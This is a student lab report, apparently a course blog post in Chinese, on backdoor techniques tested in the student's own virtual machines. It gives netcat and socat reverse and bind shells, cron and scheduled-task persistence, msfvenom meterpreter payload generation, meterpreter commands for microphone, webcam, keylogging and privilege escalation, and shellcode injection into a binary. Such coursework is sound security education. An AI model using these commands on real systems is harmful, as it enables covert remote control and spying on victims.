2018-2019-2 20165330《网络对抗技术》Exp2 后门原理与实践
目录
实验内容
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
基础问题
例举你能想到的一个后门进入到你系统中的可能方式?
有时在网页版下载软件的安装包时,会藏有后门程序,当启动安装包进行安装,后门就潜入到系统中。
例举你知道的后门如何启动起来(win及linux)的方式?
- 伪装成常用软件,诱使用户点击
- 远程监听从而反向连接被控主机,发送后门,控制后门启动
- linux的cron程序被修改,使得自动定时执行后门程序
Meterpreter有哪些给你映像深刻的功能?
可以获取被控主机的音频文件、开启摄像头和录像功能,捕获画面。
如何发现自己有系统有没有被安装后门?
- 定期用电脑所下载的杀毒软件对系统进行检测,及时处理可疑程序
- 开启防火墙,查看开启的端口及对应的进程,一般不是系统默认开启的端口都是可疑的,再结合对应进程的抓包查看通信数据分析是否为后门。
相关知识
ncat
- 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
- Linux中一般自带
ncat,可以使用man netcat或man nc可查看其使用说明 - Win获得Linux Shell
- windows打开监听:
ncat.exe -l -p 5330 - Linux反弹连接win:
nc 192.168.56.1 5330 -e /bin/sh(IP为win IP) - windows下获得一个linux shell,可运行任何指令,如
ls

- windows打开监听:
- Linux获得Win Shell
- Linux运行监听指令:
nc -l -p 5330 - Windows反弹连接Linux:
ncat.exe -e cmd.exe 192.168.107.128 5330(IP为Linux IP) - Linux下看到Windows的命令提示

- Linux运行监听指令:
- 传输数据
- Windows下监听端口:
ncat.exe -l -p 5330 - Linux下连接到Windows的端口:
ncat 192.168.56.1 5330(IP为win IP) - 建立连接之后,就可以传输数据

- Windows下监听端口:
socat
socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
Meterpreter
- 具有强大的功能,特别是其socks代理,具体原理参考揭开Meterpreter的神秘面纱
- 有关参数可以参考MSF,里面有介绍一些后门的生成。
- 参考使用MSF生成的shellcode打造免杀payload可以使用
msfvenom -p windows/meterpreter/reverse_http lhost=192.168.56.1 lport=5330 -f c(IP为Win IP)生成shellcode,注入到可执行文件,执行时回连攻击主机。

实验步骤
使用netcat获取主机操作Shell,cron启动
- 这里将kali作为被攻击目标
- 在Windows下打开命令行,使用
ipconfig查看Windows的IP地址为192.168.56.1

- Windows中使用
ncat.exe -l 5330监听5330端口

- 在Kali中,使用
crontab -e指令编辑一条定时任务,选择编辑器时选择"3",在底行插入30 * * * * /bin/netcat 192.168.56.1 5330 -e /bin/sh(意为在每个小时的第30分钟反向连接Windows的5330端口)

:wq保存退出配置即生效,可通过crontab -l查看- 在系统时间到第30分钟,就发现获得kali shell

使用socat获取主机操作Shell, 任务计划启动
- win10系统中找到左下角的windows标志:
右键-计算机管理-任务计划程序-创建任务

常规中填写任务名称后(我填写了win),触发器-新建新建触发器,然后确定

操作-新建,导入你所下载解压后的socat.exe的路径,在添加参数中填入tcp-listen:5330 exec:cmd.exe,pty,stderr(意为把cmd.exe绑定到端口5330,同时把cmd.exe的stderr重定向到stdout上)

- 创建完成之后,按
Windows+L快捷键锁定计算机,再次打开时,双击任务计划程序库可以发现之前创建的任务已经开始运行

- 在kali中输入
socat - tcp:192.168.56.1:5330(-代表标准的输入输出,第二个流连接到Windows主机的5330端口,IP为windows的IP),接着可以发现已经成功获得一个cmd shell

使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在kali中输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.246.128 LPORT=5330 -f exe > 20165330_backdoor.exe(IP为kali的IP)生成后门程序20165330_backdoor.exe - 在Windows中使用
ncat.exe -lv 5330 > 20165330_backdoor.exe查看连接状态

- kali中输入
nc 192.168.56.1 5330 < 20165330_backdoor.exe(此处的IP为Windows的IP)将生成的后门程序传送到Windows主机上 - 传输成功


- 此时kali中新打开一个终端,使用
msfconsole进入msf控制台

- 输入
use exploit/multi/handler使用监听模块,设置payload - 使用和生成后门程序时相同的payload:
set payload windows/meterpreter/reverse_tcp set LHOST 192.168.246.128此处为kali的IP(和生成后门程序时指定的IP相同)- 端口号也相同:
set LPORT 5330 - 设置完成后,
exploit开始监听

- 在Windows中先使用
ctrl+c退出上条命令,在执行:20165330_backdoor.exe(注意电脑的防火墙和杀毒软件要关掉),发现kali获得Windows主机的连接,并且得到了远程控制的shell

使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 重复上个内容操作至
exploit - 可以使用
record_mic可以截获一段音频

- 使用
webcam_snap可以使用摄像头进行拍照

- 使用
screenshot可以进行截屏

- 使用
keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

- 还可以使用
getuid查看当前用户,使用getsystem进行提权
使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
参考博客:任胤同学博客,学姐博客,msfvenom命令说明
第一种:
- 这里是kali自己监听自己,首先生成一段
shellcode:msfvenom -p linux/x86/meterpreter/shell_reverse_tcp -b '\x00\x0a\0d' LHOST=192.168.246.128 LPORT=5330 -f c(IP为kali自己的IP)
- 使用实验一中的第三部分步骤将生成的
shellcode注入到pwn1中(注意去掉引号和空格),步骤点这里,随后找到shellcode地址为0xffffd370
- 注入成功后,kali中打开新的终端,输入
msfconsole进入MSF控制台
- 输入
use exploit/multi/handler使用监听模块,设置payload- 使用和生成后门程序时相同的payload:
set payload linux/x86/meterpreter/reverse_tcpset LHOST 192.168.246.128此处为kali的IP(和生成后门程序时指定的IP相同)- 端口号也相同:
set LPORT 5330- 设置完成后,
exploit开始监听
- 旧的终端中运行
pwn1:(cat input_shellcode;cat) | ./pwn1- 发现没有反应。。。原因在于生成的
shellcode有问题。。
第二种:
- MSF可以实现直接将shellcode注入可执行文件
- 使用命令
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.246.128 LPORT=5330 -x /root/pwn2 -f elf > pwn3(-x参数为指定一个自定义的可执行文件作为模板,这里将shellcode弄到pwn1模板中)
msfconsole进入MSF控制台
- 输入
use exploit/multi/handler使用监听模块,设置payload- 使用和生成后门程序时相同的payload:
set payload linux/x86/meterpreter/reverse_tcpset LHOST 192.168.246.128此处为kali的IP(和生成后门程序时指定的IP相同)- 端口号也相同:
set LPORT 5330- 设置完成后,
exploit开始监听- 加权限运行
pwn3
- 得到shell命令
第三种(符合要求的)
- 在官网下载生成好的shellcode
- 将其中的code部分注入
pwn1
- 打开新的终端进入msf控制台:
msfconsole
- 输入
use exploit/multi/handler使用监听模块,设置payload- 使用和生成后门程序时相同的payload:
set payload linux/x86/shell_reverse_tcpset LHOST 127.0.0.1此处为kali的IP(和生成后门程序时指定的IP相同)- 端口号也相同:
set LPORT 4444- 设置完成后,
exploit开始监听
- 执行:
(cat input_shellcode;cat) | ./pwn1(注意回车)
- 发现已获得shell
ps:如果没成功把注入的部分从头开始再找一遍地址从头开始注入
实验过程中遇到的问题
在进入msf控制台时,发现进入不了,出现以下错误

解决办法:我一开始成功进入以后,又退出,后面重复多次生成后门程序,可能这其中导致程序不再是原始的,我将两边的程序都删除后,重启电脑在重新按步骤后成功。
在进入msf控制台后,进入监听是报错,出现
Session manipulation failed: Cannot allocate memory解决办法:该错误是提示无法分配内存,我设置的内存是1G,将虚拟机关机,进入
虚拟机-设置-内存,将内存改大一倍在开启虚拟机即可。
实验总结与体会
- 通过本次实验我明白了后门的基本原理,按照老师文档和学长学姐博客的指导一步步完成实验,才了解到后门的"威力",也告诉了我们平时要多注意网上安全,留意恶意程序;在实践中一步步的操作也着实吸引我尝试不同的内容,希望在之后可以尝试出结果、更清晰自己的步骤,有更多收获。
2018-2019-2 20165330《网络对抗技术》Exp2 后门原理与实践的更多相关文章
- 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践
2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...
- 20155326刘美岑 《网络对抗》Exp2 后门原理与实践
20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...
- 20155320《网络对抗》Exp2 后门原理与实践
20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...
- 20155324《网络对抗》Exp2 后门原理与实践
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
- 20155208徐子涵《网络对抗》Exp2 后门原理与实践
20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...
- 20145236《网络对抗》Exp2 后门原理与实践
20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...
- 20155202 张旭《网络对抗》Exp2 后门原理与实践
20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...
- 20155218《网络对抗》Exp2 后门原理与实践
20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...
- 20155227《网络对抗》Exp2 后门原理与实践
20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...
- 20155232《网络对抗》Exp2 后门原理与实践
20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...
随机推荐
- 简单思考 如何用PHP输出本周的周三日期
简单思考 如何用PHP输出本周的周三日期?比如今天2017-10-31 计算本周周三应该是2017-11-01 自己动脑筋想一想,然后给我留言或者评论
- ios开发之--UITextField光标右移
有时候,我们直接使用TF进行操作,有时候需要裁剪,但是裁剪后,光标还是置顶的,很不美观,解决办法: // 设置一个空白View,15.0就是这块View的宽度width,也是光标的位置,根据需要设定大 ...
- BootStrap Table显示行号,并且分页后依然递增
bootStrap table 此处使用的是V1.9.0.在网上百度的方法是: { title: '序号', field: '', formatter: function (value, row, i ...
- HttpClient(一)-- HelloWorld
一.简介 HttpClient 是Apache Jakarta Common 下的子项目,可以用来提供高效的.最新的.功能丰富的支持 HTTP 协议的客户端编程工具包,并且它支持 HTTP 协议最新的 ...
- Unity3d OnApplicationPause与OnApplicationFocus
在手机游戏当中,会碰到“强制暂停”,如:锁屏.接电话或短信之类的.如果“强制暂停”时间过长,网络游戏有时得重新登录等事件. 而Unity3d,Android Plugins中的UnityPlayer. ...
- C++ template —— tuple(十三)
本系列博文中我们使用同类容器(如数组类型)来阐述模板的强大威力,同时,C/C++还具有包含异类对象的能力.这里的异类指的是类型不同,或者结构不同.tuple就是这样的一个类模板,它能够用于聚集不同类型 ...
- 【摘】50个jQuery代码段帮助你成为一个更好的JavaScript开发者
今 天的帖子会给你们展示50个jQuery代码片段,这些代码能够给你的JavaScript项目提供帮助.其中的一些代码段是从jQuery1.4.2才 开始支持的做法,另一些则是真正有用的函数或方法,他 ...
- 【前端开发】 JS面试题整理
1.截取字符串abcdace的acealert('abcdace'.substring(4)); 2.规避javascript多人开发函数重名问题命名空间封闭空间js模块化mvc(数据层.表现层.控制 ...
- web基础----->jersey整合jetty开发restful应用(一)
这里介绍一个jersey与jetty整合开发restful应用的知识.将过去和羁绊全部丢弃,不要吝惜那为了梦想流下的泪水. jersey与jetty的整合 一.创建一个maven项目,pom.xml的 ...
- Apache服务器SSL双向认证配置
以Win32版Apache与OpenSSL为例,介绍从创建数字证书到Apache配置的整个过程,希望对读者有所帮助. Apache是目前最流行的WEB服务器之一,借助OpenSSL库,我们可以在Apa ...










